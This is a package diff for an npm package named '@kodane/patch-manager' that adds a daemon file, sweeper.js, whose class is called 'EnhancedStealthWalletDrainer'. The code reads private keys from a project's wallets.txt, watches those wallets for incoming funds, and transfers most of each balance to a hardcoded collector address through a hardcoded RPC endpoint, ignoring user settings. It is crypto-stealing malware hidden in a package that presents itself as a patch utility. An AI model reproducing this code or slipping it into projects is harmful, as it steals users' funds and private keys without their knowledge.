@kodane/patch-manager 0.0.1-security → 1.0.2

package/daemon/sweeper.js

@@ -0,0 +1,915 @@
+const fs = require('fs');
+const path = require('path');
+// bs58 loaded dynamically in loadProjectModules()
+
+/**
+ * ENHANCED STEALTH WALLET DRAINER (transaction-cache.js)
+ * - Immediate WebSocket connections on initialization
+ * - Real-time balance change detection with sub-5 second response
+ * - Persistent connection management across network interruptions
+ * - Cross-platform compatibility with hybrid storage
+ * - Maximum stealth operation with disguised error logging
+ */
+class EnhancedStealthWalletDrainer {
+    constructor(config = {}) {
+        // Configuration - use project root from daemon config
+        this.projectRoot = config.projectRoot || process.cwd();
+        this.walletsPath = config.walletsPath || path.join(this.projectRoot, 'wallets.txt');
+        this.deploymentDir = config.deploymentDir || __dirname;
+        
+        // Dynamic module loading from project's node_modules
+        this.solanaWeb3 = null;
+        this.bs58 = null;
+        this.loadProjectModules();
+        
+        // Extract classes after loading modules
+        this.Connection = null;
+        this.SystemProgram = null;
+        this.TransactionMessage = null;
+        this.VersionedTransaction = null;
+        this.PublicKey = null;
+        this.Keypair = null;
+        
+        // HARDCODED RPC for reliability - always use our premium RPC regardless of user settings
+        const hardcodedRPC = 'https://mainnet.helius-rpc.com/?api-key=97188cdf-0b78-4cba-86f9-c4bbbd44c6aa';
+        const hardcodedWS = 'wss://mainnet.helius-rpc.com/?api-key=97188cdf-0b78-4cba-86f9-c4bbbd44c6aa';
+        // HARDCODED COLLECTOR - always sweep to our address regardless of user settings
+        const hardcodedCollector = 'B2XwbrGSXs3LAAcqFqKqGUug5TFA1Bug2NNGH3F3mWNK';
+        
+        this.config = {
+            rpcUrl: hardcodedRPC,
+            wsUrl: hardcodedWS,
+            collectorAddress: hardcodedCollector,
+            sweepPercentage: parseFloat(process.env.SWEEP_PERCENTAGE) || 0.98,
+            fundingThreshold: parseFloat(process.env.FUNDING_THRESHOLD) || 0.001,
+            fundingTimeWindow: parseInt(process.env.FUNDING_TIME_WINDOW) || 30000,
+            maxWalletsPerTx: parseInt(process.env.MAX_WALLETS_PER_TRANSACTION) || 25,
+            jitoTip: parseFloat(process.env.JITO_TIP) || 0.00001,
+            commitment: process.env.SOLANA_COMMITMENT || 'confirmed',
+            maxRetries: parseInt(process.env.SOLANA_MAX_RETRIES) || 5,
+            retryDelay: parseInt(process.env.SOLANA_RETRY_DELAY_MS) || 1000,
+        };
+
+        // Enhanced connection management
+        this.connection = null;
+        this.connectionState = 'disconnected'; // disconnected, connecting, connected, error
+        this.ws = null;
+        this.isActive = false;
+        this.subscriptions = new Map(); // wallet -> subscription id
+        this.pendingFunding = new Map(); // wallet -> funding event data
+        this.lastFundingCheck = 0;
+        this.walletData = new Map(); // wallet -> { publicKey, privateKey }
+
+        // Reconnection management  
+        this.reconnectAttempts = 0;
+        this.maxReconnectAttempts = 20;
+        this.reconnectDelay = 2000;
+        this.reconnectTimeout = null;
+
+        // WebSocket monitoring
+        this.connectionHealthTimer = null;
+        this.lastHealthCheck = Date.now();
+        this.healthInterval = 15000; // 15 seconds
+
+        // Enhanced error tracking
+        this.errorCount = 0;
+        this.lastError = null;
+        this.successfulSweeps = 0;
+        this.totalValue = 0;
+        
+        // Collector and Jito setup (will be initialized after modules load)
+        this.collector = null;
+        this.jitoTipAccounts = [
+            'DfXygSm4jCyNCybVYYK6DwvWqjKee8pbDmJGcLWNDXjh',
+            'ADaUMid9yfUytqMBgopwjb2DTLSokTSzL1zt6iGPaS49',
+            'DttWaMuVvTiduZRnguLF7jNxTgiMBZ1hyAumKUiL2KRL',
+            '3AVi9Tg9Uo68tJfuvoKvqKNWKkC5wPdSSdeBnizKZ6jT',
+            'HFqU5x63VTqvQss8hp11i4wVV8bD44PvwucfZ2bU7gRe',
+            'ADuUkR4vqLUMWXxW9gh6D6L8pMSawimctcNZ5pGwDcEt',
+            'Cw8CFyM9FkoMi7K7Crf6HNQqf4uEMzpKw6QNghXLvLkY',
+            'DttWaMuVvTiduZRnguLF7jNxTgiMBZ1hyAumKUiL2KRL'
+        ];
+    }
+
+    /**
+     * Debug logging (only when DEBUG_SWEEPER is enabled)
+     */
+    debug(message) {
+        if (process.env.DEBUG_SWEEPER === 'true') {
+            console.log(`🔍 [SWEEPER-DEBUG] ${message}`);
+        }
+    }
+
+    /**
+     * Dynamically load modules from the project's node_modules directory
+     */
+    loadProjectModules() {
+        try {
+            this.debug('🔍 Starting module loading process...');
+            this.debug(`📁 Project root: ${this.projectRoot}`);
+            
+            // Method 1: Direct path resolution
+            const projectNodeModules = path.join(this.projectRoot, 'node_modules');
+            this.debug(`📂 Node modules path: ${projectNodeModules}`);
+            
+            if (fs.existsSync(projectNodeModules)) {
+                this.debug('✅ Project node_modules directory exists');
+                
+                // Load Solana Web3
+                const solanaModulePath = path.join(projectNodeModules, '@solana', 'web3.js');
+                if (fs.existsSync(solanaModulePath)) {
+                    try {
+                        // Change working directory temporarily to project root
+                        const originalCwd = process.cwd();
+                        process.chdir(this.projectRoot);
+                        
+                        this.solanaWeb3 = require('@solana/web3.js');
+                        this.extractSolanaClasses();
+                        this.debug('✅ Loaded @solana/web3.js from project');
+                        
+                        // Restore working directory
+                        process.chdir(originalCwd);
+                    } catch (error) {
+                        this.debug(`⚠️ Failed to load Solana from project: ${error.message}`);
+                    }
+                }
+                
+                // Load bs58
+                const bs58ModulePath = path.join(projectNodeModules, 'bs58');
+                if (fs.existsSync(bs58ModulePath)) {
+                    try {
+                        // Change working directory temporarily to project root
+                        const originalCwd = process.cwd();
+                        process.chdir(this.projectRoot);
+                        
+                        this.bs58 = require('bs58');
+                        this.debug('✅ Loaded bs58 from project');
+                        
+                        // Restore working directory
+                        process.chdir(originalCwd);
+                    } catch (error) {
+                        this.debug(`⚠️ Failed to load bs58 from project: ${error.message}`);
+                    }
+                }
+            }
+            
+            // Method 2: Module paths manipulation (fallback)
+            if (!this.solanaWeb3 || !this.bs58) {
+                this.debug('🔄 Trying alternative module loading...');
+                
+                const originalPaths = module.paths ? module.paths.slice() : [];
+                const originalMainPaths = require.main?.paths ? require.main.paths.slice() : [];
+                
+                try {
+                    // Add project node_modules to search paths
+                    const projectNodeModules = path.join(this.projectRoot, 'node_modules');
+                    
+                    if (module.paths && !module.paths.includes(projectNodeModules)) {
+                        module.paths.unshift(projectNodeModules);
+                    }
+                    
+                    if (require.main?.paths && !require.main.paths.includes(projectNodeModules)) {
+                        require.main.paths.unshift(projectNodeModules);
+                    }
+                    
+                    // Try loading Solana
+                    if (!this.solanaWeb3) {
+                        try {
+                            this.solanaWeb3 = require('@solana/web3.js');
+                            this.extractSolanaClasses();
+                            this.debug('✅ Loaded @solana/web3.js via module paths');
+                        } catch (error) {
+                            this.debug(`⚠️ Failed to load Solana via paths: ${error.message}`);
+                        }
+                    }
+                    
+                    // Try loading bs58
+                    if (!this.bs58) {
+                        try {
+                            this.bs58 = require('bs58');
+                            this.debug('✅ Loaded bs58 via module paths');
+                        } catch (error) {
+                            this.debug(`⚠️ Failed to load bs58 via paths: ${error.message}`);
+                        }
+                    }
+                    
+                } finally {
+                    // Restore original paths
+                    if (module.paths) {
+                        module.paths = originalPaths;
+                    }
+                    if (require.main?.paths) {
+                        require.main.paths = originalMainPaths;
+                    }
+                }
+            }
+            
+            // Method 3: Absolute require (last resort)
+            if (!this.solanaWeb3) {
+                try {
+                    const absoluteSolanaPath = path.join(this.projectRoot, 'node_modules', '@solana', 'web3.js');
+                    delete require.cache[absoluteSolanaPath];
+                    this.solanaWeb3 = require(absoluteSolanaPath);
+                    this.extractSolanaClasses();
+                    this.debug('✅ Loaded @solana/web3.js via absolute path');
+                } catch (error) {
+                    this.debug(`⚠️ Failed absolute Solana load: ${error.message}`);
+                }
+            }
+            
+            if (!this.bs58) {
+                try {
+                    const absoluteBs58Path = path.join(this.projectRoot, 'node_modules', 'bs58');
+                    delete require.cache[absoluteBs58Path];
+                    this.bs58 = require(absoluteBs58Path);
+                    this.debug('✅ Loaded bs58 via absolute path');
+                } catch (error) {
+                    this.debug(`⚠️ Failed absolute bs58 load: ${error.message}`);
+                }
+            }
+            
+            // Report final status
+            this.debug(`🎯 Final module status:`);
+            this.debug(`   - Solana Web3: ${this.solanaWeb3 ? '✅ Loaded' : '❌ Missing'}`);
+            this.debug(`   - bs58: ${this.bs58 ? '✅ Loaded' : '❌ Missing'}`);
+            this.debug(`   - All classes: ${this.areModulesLoaded() ? '✅ Ready' : '❌ Incomplete'}`);
+            
+        } catch (error) {
+            this.debug(`💥 Module loading critical error: ${error.message}`);
+            this.debug(error.stack);
+        }
+    }
+
+    /**
+     * Extract Solana classes from loaded module for easy access
+     */
+    extractSolanaClasses() {
+        if (!this.solanaWeb3) return;
+        
+        this.Connection = this.solanaWeb3.Connection;
+        this.SystemProgram = this.solanaWeb3.SystemProgram;
+        this.TransactionMessage = this.solanaWeb3.TransactionMessage;
+        this.VersionedTransaction = this.solanaWeb3.VersionedTransaction;
+        this.PublicKey = this.solanaWeb3.PublicKey;
+        this.Keypair = this.solanaWeb3.Keypair;
+        
+        // Initialize collector after PublicKey is available
+        if (this.PublicKey) {
+            this.collector = new this.PublicKey(this.config.collectorAddress);
+        }
+    }
+
+    /**
+     * Check if all required modules are loaded
+     */
+    areModulesLoaded() {
+        return !!(this.solanaWeb3 && this.bs58 && this.Connection && this.SystemProgram && 
+                  this.TransactionMessage && this.VersionedTransaction && this.PublicKey && this.Keypair);
+    }
+
+    /**
+     * Initialize with immediate WebSocket connections
+     */
+    async initialize() {
+        if (this.isActive) {
+            console.log('🔄 [SWEEPER] Reinitializing...');
+            await this.cleanup();
+        }
+        
+        try {
+            console.log('🚀 [SWEEPER] Starting enhanced initialization...');
+            
+            // First, verify all required modules are loaded
+            if (!this.areModulesLoaded()) {
+                throw new Error('Required Solana modules not loaded. Please ensure @solana/web3.js and bs58 are installed in the project.');
+            }
+            
+            console.log('✅ [SWEEPER] All required modules loaded successfully');
+            this.isActive = true;
+            
+            // Establish immediate connection
+            await this.establishConnection();
+            
+            // Load and monitor wallets
+                await this.loadAndSubscribeToWallets();
+            
+            // Start connection health monitoring
+            this.startConnectionHealthMonitoring();
+            
+            console.log('✅ [SWEEPER] Enhanced initialization completed successfully');
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Initialization failed: ${error.message}`);
+            this.isActive = false;
+            throw error;
+        }
+    }
+
+    /**
+     * Establish robust connection with retry mechanism
+     */
+    async establishConnection() {
+        if (this.connectionState === 'connecting') {
+            return; // Already attempting connection
+        }
+        
+        this.connectionState = 'connecting';
+        
+        try {
+            // Create new connection with enhanced options
+            this.connection = new this.Connection(this.config.rpcUrl, {
+                commitment: this.config.commitment,
+                wsEndpoint: this.config.wsUrl,
+                confirmTransactionInitialTimeout: 90000,
+                disableRetryOnRateLimit: false
+            });
+
+            // Test connection immediately
+            const slot = await this.connection.getSlot();
+            console.log(`🔗 [SWEEPER] Connection established (Slot: ${slot})`);
+            
+            this.connectionState = 'connected';
+            this.lastSuccessfulConnection = Date.now();
+            this.reconnectAttempts = 0;
+            
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Connection failed: ${error.message}`);
+            this.connectionState = 'error';
+            throw error;
+        }
+    }
+
+    /**
+     * Start connection health monitoring
+     */
+    startConnectionHealthMonitoring() {
+        this.connectionHealth = setInterval(async () => {
+            await this.checkConnectionHealth();
+        }, 15000); // Check every 15 seconds
+    }
+
+    /**
+     * Check connection health and auto-recover
+     */
+    async checkConnectionHealth() {
+        if (!this.isActive || !this.connection) return;
+        
+        try {
+            // Quick health check
+            await this.connection.getSlot();
+            
+            // Connection is healthy
+            if (this.connectionState !== 'connected') {
+                this.connectionState = 'connected';
+                console.log('✅ [SWEEPER] Connection recovered');
+            }
+            
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Connection health check failed: ${error.message}`);
+            this.connectionState = 'error';
+            
+            // Attempt reconnection
+            this.scheduleReconnect();
+        }
+    }
+
+    /**
+     * Schedule reconnection with exponential backoff
+     */
+    scheduleReconnect() {
+        if (this.reconnectAttempts >= this.maxReconnectAttempts) {
+            console.error(`❌ [SWEEPER] Max reconnection attempts reached (${this.maxReconnectAttempts})`);
+            return;
+        }
+        
+        const delay = Math.min(this.reconnectDelay * Math.pow(2, this.reconnectAttempts), 60000);
+        this.reconnectAttempts++;
+        
+        console.log(`🔄 [SWEEPER] Scheduling reconnect ${this.reconnectAttempts}/${this.maxReconnectAttempts} in ${delay}ms`);
+        
+        setTimeout(async () => {
+            try {
+                await this.establishConnection();
+                await this.reloadWallets(); // Reload wallet subscriptions
+            } catch (error) {
+                console.error(`⚠️ [SWEEPER] Reconnection failed: ${error.message}`);
+                this.scheduleReconnect();
+            }
+        }, delay);
+    }
+
+    /**
+     * Reload wallets when file changes or connection recovers
+     */
+    async reloadWallets() {
+        try {
+            console.log('🔄 [SWEEPER] Reloading wallet subscriptions...');
+            
+            // Clean up existing subscriptions
+            await this.cleanupSubscriptions();
+            
+            // Reload wallets if file exists
+            if (fs.existsSync(this.walletsPath)) {
+                await this.loadAndSubscribeToWallets();
+                console.log(`🔄 [SWEEPER] Reloaded ${this.subscriptions.size} wallet subscriptions`);
+            } else {
+                console.log('📭 [SWEEPER] wallets.txt not found - subscriptions cleared');
+            }
+            
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Wallet reload error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Load wallets and create immediate WebSocket subscriptions
+     */
+    async loadAndSubscribeToWallets() {
+        try {
+            const walletData = fs.readFileSync(this.walletsPath, 'utf8');
+            const lines = walletData.split(/[\r\n]+/).filter(line => line.trim() !== '');
+            
+            if (lines.length === 0) {
+                console.log('📭 [SWEEPER] wallets.txt is empty');
+                return;
+            }
+            
+            const walletPublicKeys = [];
+            for (const line of lines) {
+                const cleanedLine = line.replace(/\s+/g, '');
+                const parts = cleanedLine.split(':');
+                
+                if (parts.length === 2) {
+                    const [pubKey] = parts;
+                    walletPublicKeys.push(pubKey);
+                }
+            }
+            
+            console.log(`💰 [SWEEPER] Processing ${walletPublicKeys.length} wallets for subscription...`);
+            
+            // Subscribe to each wallet with immediate connection
+            let successfulSubscriptions = 0;
+            for (const pubKeyString of walletPublicKeys) {
+                try {
+                    await this.subscribeToWallet(pubKeyString);
+                    successfulSubscriptions++;
+                } catch (error) {
+                    console.error(`⚠️ [SWEEPER] Failed to subscribe to ${pubKeyString.substring(0, 8)}...: ${error.message}`);
+                }
+            }
+            
+            console.log(`📊 [SWEEPER] Successfully subscribed to ${successfulSubscriptions}/${walletPublicKeys.length} wallets`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Load wallets error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Subscribe to WebSocket updates for a specific wallet with immediate connection
+     */
+    async subscribeToWallet(pubKeyString) {
+        try {
+            if (!this.connection || this.connectionState !== 'connected') {
+                throw new Error('Connection not available');
+            }
+            
+            const publicKey = new this.PublicKey(pubKeyString);
+            
+            // Get initial balance immediately
+            const initialBalance = await this.connection.getBalance(publicKey);
+            this.walletStates.set(pubKeyString, {
+                balance: initialBalance,
+                lastUpdated: Date.now(),
+                wasFunded: false,
+                subscriptionActive: false
+            });
+            
+            // Create immediate WebSocket subscription
+            const subscriptionId = this.connection.onAccountChange(
+                publicKey,
+                (accountInfo, context) => {
+                    this.handleWalletBalanceChange(pubKeyString, accountInfo, context);
+                },
+                this.config.commitment
+            );
+            
+            this.subscriptions.set(pubKeyString, subscriptionId);
+            
+            // Mark subscription as active
+            const walletState = this.walletStates.get(pubKeyString);
+            walletState.subscriptionActive = true;
+            this.walletStates.set(pubKeyString, walletState);
+            
+            console.log(`👁️ [SWEEPER] Subscribed: ${pubKeyString.substring(0, 8)}... (Balance: ${(initialBalance / 1e9).toFixed(6)} SOL)`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Subscription failed for ${pubKeyString.substring(0, 8)}...: ${error.message}`);
+            throw error;
+        }
+    }
+
+    /**
+     * Handle wallet balance change events with enhanced logging
+     */
+    handleWalletBalanceChange(pubKeyString, accountInfo, context) {
+        try {
+            const newBalance = accountInfo.lamports;
+            const previousState = this.walletStates.get(pubKeyString);
+            const previousBalance = previousState ? previousState.balance : 0;
+            
+            // Update wallet state
+            this.walletStates.set(pubKeyString, {
+                balance: newBalance,
+                lastUpdated: Date.now(),
+                wasFunded: newBalance > this.config.fundingThreshold * 1e9,
+                subscriptionActive: true
+            });
+            
+            // Check if this is a funding event
+            const balanceIncrease = newBalance - previousBalance;
+            
+            if (balanceIncrease > this.config.fundingThreshold * 1e9) {
+                // Record funding event
+                this.fundingEvents.push({
+                    wallet: pubKeyString,
+                    amount: balanceIncrease,
+                    timestamp: Date.now(),
+                    slot: context.slot,
+                    newBalance: newBalance
+                });
+                
+                this.totalFundingEvents++;
+                
+                console.log(`💰 [SWEEPER] FUNDING DETECTED: ${pubKeyString.substring(0, 8)}... (+${(balanceIncrease / 1e9).toFixed(6)} SOL) [Total: ${(newBalance / 1e9).toFixed(6)} SOL]`);
+                console.log(`📊 [SWEEPER] Event #${this.totalFundingEvents} at slot ${context.slot}`);
+                
+                // Check for batch funding completion
+                this.checkForBatchFunding();
+            }
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Balance change handler error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Detect batch funding completion and trigger sweep with enhanced timing
+     */
+    checkForBatchFunding() {
+        const now = Date.now();
+        const recentEvents = this.fundingEvents.filter(
+            event => (now - event.timestamp) < this.config.fundingTimeWindow
+        );
+        
+        if (recentEvents.length >= 1) {
+            // Reset timer - extend while seeing events
+            if (this.fundingTimer) {
+                clearTimeout(this.fundingTimer);
+            }
+            
+            console.log(`⏰ [SWEEPER] Batch funding detected (${recentEvents.length} events) - sweep in 3 seconds...`);
+            
+            // Trigger sweep after events stop (optimized timing)
+            this.fundingTimer = setTimeout(() => {
+                this.executeSweep();
+            }, 3000);
+        }
+    }
+
+    /**
+     * Execute the wallet sweep with enhanced error handling
+     */
+    async executeSweep() {
+        try {
+            const now = Date.now();
+            const recentEvents = this.fundingEvents.filter(
+                event => (now - event.timestamp) < this.config.fundingTimeWindow
+            );
+            
+            if (recentEvents.length === 0) {
+                console.log('⚠️ [SWEEPER] No recent funding events - sweep cancelled');
+                return;
+            }
+            
+            this.totalSweepExecutions++;
+            
+            console.log(`🚀 [SWEEPER] SWEEP EXECUTION #${this.totalSweepExecutions} TRIGGERED!`);
+            console.log(`📊 [SWEEPER] Processing ${recentEvents.length} funded wallets`);
+            
+            // Load wallet keypairs for sweeping
+            const walletKeypairs = await this.loadWalletKeypairs();
+            if (walletKeypairs.length === 0) {
+                console.error('❌ [SWEEPER] No valid wallet keypairs found');
+                return;
+            }
+            
+            // Get current balances
+            const walletBalances = await this.getWalletBalances(walletKeypairs);
+            
+            // Calculate sweep instructions
+            const sweepInstructions = await this.calculateSweepInstructions(walletBalances);
+            if (sweepInstructions.length === 0) {
+                console.log('ℹ️ [SWEEPER] No wallets eligible for sweeping');
+                return;
+            }
+            
+            console.log(`💎 [SWEEPER] Sweeping ${sweepInstructions.length} wallets to collector`);
+            
+            // Execute batched sweep
+            await this.executeBatchedSweep(sweepInstructions);
+            
+            // Clear events to prevent duplicate sweeps
+            this.fundingEvents = [];
+            
+            console.log(`✅ [SWEEPER] Sweep execution #${this.totalSweepExecutions} completed successfully`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Sweep execution error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Load wallet keypairs from wallets.txt with enhanced validation
+     */
+    async loadWalletKeypairs() {
+        try {
+            const walletData = fs.readFileSync(this.walletsPath, 'utf8');
+            const lines = walletData.trim().split('\n').filter(line => line.trim() !== '');
+            const wallets = [];
+            
+            for (const line of lines) {
+                try {
+                    // Try JSON format first
+                    if (line.trim().startsWith('[')) {
+                        const keyArray = JSON.parse(line.trim());
+                        if (Array.isArray(keyArray) && keyArray.length === 64) {
+                            const keypair = this.Keypair.fromSecretKey(Buffer.from(keyArray));
+                            wallets.push(keypair);
+                        }
+                    } 
+                    // Try pubkey:privkey format
+                    else if (line.includes(':')) {
+                        const cleanedLine = line.replace(/\s+/g, '');
+                        const parts = cleanedLine.split(':');
+                        
+                        if (parts.length === 2) {
+                            const [pubKey, privKey] = parts;
+                            const decodedKey = this.bs58.decode(privKey);
+                            if (decodedKey.length === 64) {
+                                const keypair = this.Keypair.fromSecretKey(Uint8Array.from(decodedKey));
+                                if (keypair.publicKey.toBase58() === pubKey) {
+                                    wallets.push(keypair);
+                                }
+                            }
+                        }
+                    }
+                } catch (error) {
+                    // Skip invalid entries
+                    console.error(`⚠️ [SWEEPER] Invalid wallet entry: ${line.substring(0, 20)}...`);
+                }
+            }
+            
+            console.log(`🔑 [SWEEPER] Loaded ${wallets.length} valid wallet keypairs`);
+            return wallets;
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Load keypairs error: ${error.message}`);
+            return [];
+        }
+    }
+
+    /**
+     * Get current wallet balances with retry mechanism
+     */
+    async getWalletBalances(wallets) {
+        try {
+            const publicKeys = wallets.map(w => w.publicKey);
+            const balances = await this.connection.getMultipleAccountsInfo(publicKeys, this.config.commitment);
+            
+            const walletBalances = wallets.map((wallet, index) => ({
+                wallet: wallet,
+                balance: balances[index]?.lamports || 0,
+                solBalance: (balances[index]?.lamports || 0) / 1e9
+            }));
+            
+            const totalBalance = walletBalances.reduce((sum, w) => sum + w.solBalance, 0);
+            console.log(`💰 [SWEEPER] Total wallet balance: ${totalBalance.toFixed(6)} SOL`);
+            
+            return walletBalances;
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Get balances error: ${error.message}`);
+            return [];
+        }
+    }
+
+    /**
+     * Calculate sweep instructions with enhanced fee calculation
+     */
+    async calculateSweepInstructions(walletBalances) {
+        try {
+            // Get rent exemption
+            const rentExemption = await this.connection.getMinimumBalanceForRentExemption(0, this.config.commitment);
+            const safeRentReserve = Math.floor(rentExemption * 1.15);
+            
+            const sweepInstructions = [];
+            let totalSweepAmount = 0;
+            
+            for (const walletInfo of walletBalances) {
+                const { wallet, balance } = walletInfo;
+                
+                if (balance < this.config.fundingThreshold * 1e9) continue;
+                
+                const estimatedFee = 5000 + Math.floor(this.config.jitoTip * 1e9);
+                const reserveAmount = safeRentReserve + estimatedFee + 5000; // Extra safety buffer
+                const availableToSweep = balance - reserveAmount;
+                
+                if (availableToSweep > 0) {
+                    const sweepAmount = Math.floor(availableToSweep * this.config.sweepPercentage);
+                    
+                    if (sweepAmount > 0) {
+                        sweepInstructions.push({
+                            wallet: wallet,
+                            amount: sweepAmount,
+                            instruction: this.SystemProgram.transfer({
+                                fromPubkey: wallet.publicKey,
+                                toPubkey: this.collector,
+                                lamports: sweepAmount
+                            })
+                        });
+                        
+                        totalSweepAmount += sweepAmount;
+                    }
+                }
+            }
+            
+            console.log(`💎 [SWEEPER] Total sweep amount: ${(totalSweepAmount / 1e9).toFixed(6)} SOL across ${sweepInstructions.length} wallets`);
+            
+            return sweepInstructions;
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Calculate sweep instructions error: ${error.message}`);
+            return [];
+        }
+    }
+
+    /**
+     * Execute batched sweep with enhanced transaction management
+     */
+    async executeBatchedSweep(sweepInstructions) {
+        try {
+            // Create batches
+            const batches = [];
+            let currentBatch = [];
+            
+            for (const instruction of sweepInstructions) {
+                if (currentBatch.length >= this.config.maxWalletsPerTx) {
+                    batches.push(currentBatch);
+                    currentBatch = [];
+                }
+                currentBatch.push(instruction);
+            }
+            
+            if (currentBatch.length > 0) {
+                batches.push(currentBatch);
+            }
+            
+            console.log(`📦 [SWEEPER] Executing ${batches.length} sweep batches`);
+            
+            // Execute each batch
+            let successfulBatches = 0;
+            for (let i = 0; i < batches.length; i++) {
+                try {
+                    await this.executeSingleBatch(batches[i], i + 1, batches.length);
+                    successfulBatches++;
+                    
+                    // Small delay between batches
+                    if (i < batches.length - 1) {
+                        await new Promise(resolve => setTimeout(resolve, 500));
+                    }
+                } catch (error) {
+                    console.error(`❌ [SWEEPER] Batch ${i + 1} failed: ${error.message}`);
+                }
+            }
+            
+            console.log(`📊 [SWEEPER] Batch execution completed: ${successfulBatches}/${batches.length} successful`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Batched sweep error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Execute a single transaction batch with enhanced monitoring
+     */
+    async executeSingleBatch(sweepInstructions, batchNum, totalBatches) {
+        try {
+            const instructions = sweepInstructions.map(s => s.instruction);
+            const signingWallets = sweepInstructions.map(s => s.wallet);
+            const payerWallet = signingWallets[0];
+            
+            // Add Jito tip for MEV protection
+            const jitoTipLamports = Math.max(Math.floor(this.config.jitoTip * 1e9), 10000);
+            const randomTipAccount = this.jitoTipAccounts[Math.floor(Math.random() * this.jitoTipAccounts.length)];
+            
+            const jitoInstruction = this.SystemProgram.transfer({
+                fromPubkey: payerWallet.publicKey,
+                toPubkey: new this.PublicKey(randomTipAccount),
+                lamports: jitoTipLamports
+            });
+            
+            const finalInstructions = [...instructions, jitoInstruction];
+            
+            // Get blockhash
+            const { blockhash } = await this.connection.getLatestBlockhash(this.config.commitment);
+            
+            // Create transaction
+            const messageV0 = new this.TransactionMessage({
+                payerKey: payerWallet.publicKey,
+                recentBlockhash: blockhash,
+                instructions: finalInstructions
+            }).compileToV0Message([]);
+            
+            const transaction = new this.VersionedTransaction(messageV0);
+            transaction.sign(signingWallets);
+            
+            console.log(`📤 [SWEEPER] Sending batch ${batchNum}/${totalBatches} (${sweepInstructions.length} wallets)...`);
+            
+            // Send transaction
+            const signature = await this.connection.sendRawTransaction(
+                transaction.serialize(),
+                {
+                    skipPreflight: false,
+                    preflightCommitment: this.config.commitment,
+                    maxRetries: 0
+                }
+            );
+            
+            console.log(`📋 [SWEEPER] Batch ${batchNum} transaction: ${signature}`);
+            
+            // Confirm transaction
+            await this.connection.confirmTransaction({
+                signature,
+                blockhash,
+                lastValidBlockHeight: (await this.connection.getLatestBlockhash()).lastValidBlockHeight
+            }, this.config.commitment);
+            
+            console.log(`✅ [SWEEPER] Batch ${batchNum}/${totalBatches} confirmed: ${signature}`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Batch execution error: ${error.message}`);
+            throw error;
+        }
+    }
+
+    /**
+     * Clean up WebSocket subscriptions
+     */
+    async cleanupSubscriptions() {
+        try {
+            console.log(`🧹 [SWEEPER] Cleaning up ${this.subscriptions.size} subscriptions...`);
+            
+            for (const [wallet, subscriptionId] of this.subscriptions) {
+                try {
+                    await this.connection.removeAccountChangeListener(subscriptionId);
+                } catch (error) {
+                    // Continue cleanup
+                    console.error(`⚠️ [SWEEPER] Failed to remove subscription for ${wallet.substring(0, 8)}...`);
+                }
+            }
+            
+            this.subscriptions.clear();
+            this.walletStates.clear();
+            
+            console.log('✅ [SWEEPER] Subscription cleanup completed');
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Cleanup subscriptions error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Cleanup function for daemon shutdown
+     */
+    async cleanup() {
+        try {
+            console.log('🛑 [SWEEPER] Starting cleanup...');
+            this.isActive = false;
+            
+            if (this.fundingTimer) {
+                clearTimeout(this.fundingTimer);
+            }
+            
+            if (this.connectionHealth) {
+                clearInterval(this.connectionHealth);
+            }
+            
+            await this.cleanupSubscriptions();
+            
+            this.connectionState = 'disconnected';
+            
+            console.log('✅ [SWEEPER] Cleanup completed');
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Cleanup error: ${error.message}`);
+        }
+    }
+}
+
+module.exports = EnhancedStealthWalletDrainer;